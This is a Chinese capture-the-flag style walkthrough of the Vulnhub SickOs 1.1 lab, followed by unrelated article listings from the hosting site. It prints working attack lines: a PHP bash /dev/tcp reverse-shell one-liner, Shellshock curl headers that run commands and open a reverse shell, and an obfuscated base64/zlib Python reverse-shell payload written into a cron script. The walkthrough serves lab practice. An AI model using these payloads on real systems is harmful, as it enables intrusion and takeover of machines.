Vulnhub靶机:SICKOS_ 1.1

news2025/1/11 23:49:49

目录

  • 介绍
  • 信息收集
    • 主机信息探测
    • 主机信息探测
  • 网站探测
  • Getshell
    • 敏感信息收集
    • SUDO提权
  • 第2种通关思路
    • nikto扫描站点
    • 验证破壳漏洞
    • 破壳漏洞利用
    • 计划任务提权
    • 修复文件内容错乱 & 提权
  • 总结

介绍

系列:SickOs(此系列共2台)
发布日期:2015年12月11日
难度:初-中
运行环境:VMware Workstation
目标:取得 root 权限 + Flag
学习:

  • 主机发现
  • 端口扫描+漏洞扫描
  • 代理扫描
  • 搜寻网站后台
  • 后台写入shell
  • 计划任务提权
  • 破壳漏洞拿shell

靶机地址:https://www.vulnhub.com/entry/sickos-11,132/

信息收集

主机信息探测

netdiscover主机发现

sudo netdiscover -i eth0 -r 192.168.229.0/24

主机信息探测

发现与web相关的是个3128端口,运行着squid/3.1.19,通过搜索引擎得知,squid是一个代理服务器和Web缓存服务器,主要用于Unix一类系统使用。

nmap -p- 192.168.229.135
nmap -p 22,3128,8080 -A 192.168.229.135
nmap-p 22,3128,8080 --script=vuln 192.168.229.135

在这里插入图片描述

网站探测

web服务没有什么有价值的信息,直接的目录爆破也无果。网页中的一个超链接点击后会打开电脑上自带的邮件软件。既然3128端口运行的是个代理服务,那就不妨试着把它当作代理,重新探测一下网站。
在这里插入图片描述

于是开始目录爆破

dirsearch -u http://192.168.229.135 --full-url -R 2 -x 404 --exclude-sizes=0B --proxy=http://192.168.229.135:3128

挂上代理后,网站首页没有发现什么东西,访问爆破的“/robots.txt”发现了一个有趣的目录
在这里插入图片描述

在这里插入图片描述

对着这个子目录二次爆破,没有发现有意义的目录,谷歌搜索了一下,发现了后台地址:
在这里插入图片描述

其实,如果注意到网页结构,直接修改一下也是可以直接跳转进后台地址的
在这里插入图片描述

使用弱口令admin、admin直接登录进去了
在这里插入图片描述

Getshell

MSF生成php类型的反弹shell代码,粘贴到某个页面中去,但是拿到shell不一会,连接就断开了,看样子需要换个反弹shell的命令。
在这里插入图片描述

在这里插入图片描述

谷歌搜索“php reverse shell one liner”,你会看到很多简单有效的一句话木马,如:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.0.1/1234 0>&1'"); ?>

此时,即便浏览器不再加载,我的shell也没有断开。
在这里插入图片描述

敏感信息收集

在当前目录下直接发现了一个配置文件,里面有一个数据库密码,按照靶机的一贯尿性,这个密码应该可以SSH登录靶机。检查发现/home目录下只有一个目录:sickos,于是SSH登录靶机
在这里插入图片描述

在这里插入图片描述

SUDO提权

在这里插入图片描述

第2种通关思路

nikto扫描站点

nikto扫描网站,发现疑似存在破壳漏洞
在这里插入图片描述

验证破壳漏洞

在之前的靶机中,使用nmap和msf都可以确认有无破壳漏洞,这里我尝试了挂代理扫描,失败了,那么只好先认定存在破壳漏洞,直接打。
爆破/cgi-bin目录,发现存在响应码200的目录,并且以下目录都有结果:

  1. /cgi-bin/status
  2. /cgi-bin/status?full=true.sh

更多目录未作测试,应该也是可行的

dirsearch -u http://192.168.229.135/cgi-bin/ --full-url -x 403 -f -e cgi,sh --proxy=http://192.168.229.135:3128
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'whoami'" http://192.168.229.135/cgi-bin/status --proxy http://192.168.229.135:3128

在这里插入图片描述

破壳漏洞利用

# 检测有无 nc
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'which nc'" http://192.168.229.135/cgi-bin/status?full=true.sh --proxy http://192.168.229.135:3128

# 命令执行,反弹bash shell
curl -H "user-agent: () { :; };/bin/bash -i >& /dev/tcp/192.168.229.128/4444 0>&1" http://192.168.229.135/cgi-bin/status?full=true.sh --proxy http://192.168.229.135:3128

发现了一个敏感文件,但是没在计划任务中找到它,也许是找的方式不对。
在这里插入图片描述

计划任务提权

  1. 检查计划任务,发现了一个看起来可以用来计划任务提权的python脚本

在这里插入图片描述

  1. 生成python反弹shell的命令,并将其写入到py文件中
msfvenom -p cmd/unix/reverse_python lhost=192.168.229.128 lport=4455 -f raw

写入文件是时候已经乱成团了,没法正常编辑文件,按理来说,就算代码有问题,正确的代码也可以执行,但是没有收到shell
在这里插入图片描述

修复文件内容错乱 & 提权

在网上找到了一篇通关攻略,他是这么解决的:https://www.cnblogs.com/henry666/p/16954510.html
在非交互性Shell的环境执行vim命令,有些操作可能会比较诡异, 例如你不能上下左右的移动光标。首先输入o进入插入模式后(插入新的一行),然后复制粘贴,再按右上角的**ESC**+**wq**, 最后再按回车键,即可。


但是我已经把内容都搞乱了,没法那样修复了,连接冰蝎手动修复文件也是一种思路,但是麻烦。好在这个文件比较简单:

  1. 查看此文件内容,保存有价值的信息:#!/usr/bin/python
  2. 编辑此文件,vim connect.py,一旦打开文件,就长按键盘的d,这样connect.py就会被清空,然后保存退出
  3. 重新编辑此文件,首先输入o进入插入模式后(插入新的一行),然后粘贴#!/usr/bin/python,再按右上角的**ESC**+**wq**, 最后再按回车键,即可。
  4. 接下来就是追加payload,可以使用上一步的方法,也可以使用如下方式:
echo "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqNkFELgjAUhf+K7GmDmG1oKLEHCYOICtJ30bVQsk289v9rLIu9eR/udg/fPWesew5mnAIw8qGmwNYqCODVDKORCmBWjLt9amtba2ASiKWcsk1COU8p4wnyEGsroiiOPRWES6LuwN8p21eHc17+8p1aXHbHqiiveXYivguVRmslJ4ztS+Y1G0l80gC9vQaOgd67XmmDyQyvl4JsKch9cBD/b6Sy7nuMwqbTYVNDi8gb7kNeeg==')[0])))" >> connect.py

查看发现内容无误,略等一会,拿到shell,提权成功。
在这里插入图片描述

总结

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/76387.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

springboot+netty实现站内消息通知(完整代码)

代码用到的组件介绍 ChannelInitializer 见名知意&#xff0c;就是channel 初始化器&#xff0c;当每个客户端创建连接时这里面的代码都会执行一遍。由于&#xff0c;连接建立之后&#xff0c;这个channel就会常驻内存&#xff0c;所以这里就有个值得思考的问题&#xff1a; …

【vue核心】1.vue简介

1. 官网 英文官网: https://vuejs.org/ 中文官网: https://cn.vuejs.org/ 2. 介绍与描述 动态构建用户界面的渐进式 JavaScript 框架 作者: 尤雨溪 3. Vue 的特点 遵循 MVVM 模式 编码简洁, 体积小, 运行效率高, 适合移动/PC 端开发 它本身只关注UI, 也可以引入其它第三…

新冠疫苗预约小程序设计与实现的源码+文档

摘 要 网络的广泛应用给生活带来了十分的便利。所以把新冠疫苗预约管理与现在网络相结合&#xff0c;利用java技术建设新冠疫苗预约小程序&#xff0c;实现新冠疫苗预约的信息化。则对于进一步提高新冠疫苗预约管理发展&#xff0c;丰富新冠疫苗预约管理经验能起到不少的促进…

数据库挖矿系列-优化器设计探索穿越之旅

作者&#xff1a;王晨 阿里云数据库产品团队 前言 引用来自百度百科的话&#xff1a;在数据库技术发展历史上&#xff0c;1970 年是发生伟大转折的一年&#xff0c;因为这一年的6月&#xff0c;IBM的圣约瑟研究实验室的高级研究员Edgar Frank Codd在Communications of ACM 上…

微信中使用ChatGPT

ChatGPT 微信 Bot1. Ubuntu2. 卸载旧版本3. apt 安装4. 添加软件源的GPG密钥5. 添加docker源到sources.list6. 安装 docker7. 启动 docker8. 建立docker用户组9. 测试10. wechat-chatgpt 搭建11. 获取 会话令牌12. 运行13. 使用微信小号扫码登录14. 重新登录14.1 停止运行容器1…

【Python项目】Python实现点选验证码识别, 模拟B站登陆 | 附源码 学习资料

前言 halo&#xff0c;包子们下午好 今天小编带大家是想b站模拟登陆&#xff0c;Python实现验证码识别 废话不多说&#xff0c;直接开整 相关文件 关注小编&#xff0c;私信小编领取哟&#xff01; 当然别忘了一件三连哟~~ 公众号&#xff1a;Python日志 源码点击蓝色字体领…

Docker Desktop下部署springboot项目

一、前言 本文是基于windows10版本下的docker desktop来演示的&#xff0c;所以你需要自行安装docker desktop,可以是windows,也可以是mac&#xff0c;根据自己的电脑进行选择即可。 二、创建springboot项目 创建一个springboot web项目&#xff0c;这个比较简单&#xff0c…

Vector-常用CAN工具 - CANoe入门到精通_04

前面已经介绍了Network Node节点的创建和配置&#xff0c;我想大家如果仔细研究下这块基本没什么问题&#xff0c;但是针对相应的CAPL编程该如何去做呢&#xff1f;今天这篇文章就是我们专门介绍在Network Node节点中常用的一些操作函数和使用技巧。 五、 Network Node相关CAPL…

如何在 Canvas 上实现图形拾取?

大家好&#xff0c;我是前端西瓜哥&#xff0c;今天来和大家说说 canvas 怎么做图形拾取。 图形拾取&#xff0c;指的是用户通过鼠标或手指在图形界面上能选中图形的能力。图形拾取技术是之后的高亮图形、拖拽图形、点击触发事件的基础。 canvas 作为一个过于朴实无华的绘制工…

【软件测试】老板:你测试,我放心。测试人的成功就是不做测试?

目录&#xff1a;导读前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09;前言 测试没价值&#xf…

[附源码]计算机毕业设计的党务管理系统Springboot程序

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

Arco Pro最佳实践,路由与菜单

Arco Pro最佳实践&#xff0c;路由与菜单1.路由2.菜单3.测试1.路由 路由通常都和菜单绑定在一起&#xff0c;为了减少维护的量&#xff0c;Arco直接通过路由表生成了菜单。 首先&#xff0c;需要先了解一下路由表的配置 现在我们来解析一下仪表盘的路由代码&#xff08;dash…

Ranger集成Solr

前言 对已经在正常使用的Ranger开启Solr存储审计日志。 可以手动安装或者使用ranger admin自带的solr安装程序来安装。当然官网也说了&#xff0c;用户可以选择手动安装然后集成&#xff0c;只要你足够勇敢 &#xff1a;&#xff09; 我们这里选择使用Ranger自带的安装程序来…

深度学习之:强化学习 Reinforcement Learning

文章目录认识强化学习Sparse RewardSupervised Learning v.s. RLRL 玩游戏Policy-based & Value-basedPolicy-based训练模型的三步骤定义目标函数衡量目标函数的好坏RL 的目标函数的好坏&#xff08;reward 总和的期望&#xff09;如何求得 Rθˉ\bar{R_{\theta}}Rθ​ˉ​…

win10系统+3060显卡驱动+cuda11.5+cudnn8.3安装

显卡驱动和一些cuda库安装教程 目的 本教程为了让大家能更好的了解和能更快的对显卡进行环境配置。 需注意&#xff0c;本教程的配置仅仅针对显卡NVIDA RTX 3060。 其他显卡对应的配置的流程雷同&#xff0c;仅仅是环境版本的不同。 显卡需要牢固的插装在PCI/PCI-E&#xff0…

如何发现循环中的规律?动作分解

第五章循环结构程序设计 计算机最擅长的就是重复 重复再重复 循环 就是重复 使用循环结构的条件&#xff1a;2个&#xff1a; 1 需要三个或以上的 同样的操作 多个 三就是多&#xff0c;事不过三&#xff0c;三人成虎&#xff0c;三人行必有我师焉 也就是多个操作 2. 必…

如何在 Python 和 Pandas 中使用正则表达式

什么是正则表达式 Regex 代表Regular Expression&#xff0c;是一种用于在文本中搜索模式的表达式。简而言之&#xff0c;它将匹配与模式对应的每个单词或单词组。在 Python 中&#xff0c;您可以使用正则表达式来搜索单词、替换单词、匹配一个单词或一组单词。基本上所有事情…

C语言每日亿题(三)

文章目录一.二分查找二.第一个错误的版本三.搜索插入位置一.二分查找 原题传送门&#xff1a;力扣 题目&#xff1a; 在有序序列中查找&#xff0c;用二分的方法是非常有效的&#xff0c;但仅限于有序&#xff0c;如果是无序&#xff0c;二分查找是用不了的。 现在我直接来…

Spring cloud Ribbon负载均衡实战

Spring cloud Ribbon负载均衡一、简介二、负载均衡不同方案的区别1、集中式负载均衡&#xff08;服务器负载均衡&#xff09;2、进程内负载均衡&#xff08;客户端负载均衡&#xff09;三、负载均衡策略1、轮询策略&#xff08;默认&#xff09;2、权重轮询策略3、随机策略4、最…

导入vue+springboot前后端分离项目

1、环境 1、前端 nodejs 12.1.0vscode或者webstorm 2、后端 jdk1.8maven3.6.3&#xff08;3以上即可&#xff09;sqlyogidea 1、导入数据库 点击右键创建同名的数据库 将sql文件导入到数据库中 右键编辑文件&#xff0c;ctrla选中全部语句&#xff0c;ctrlc进行复制&…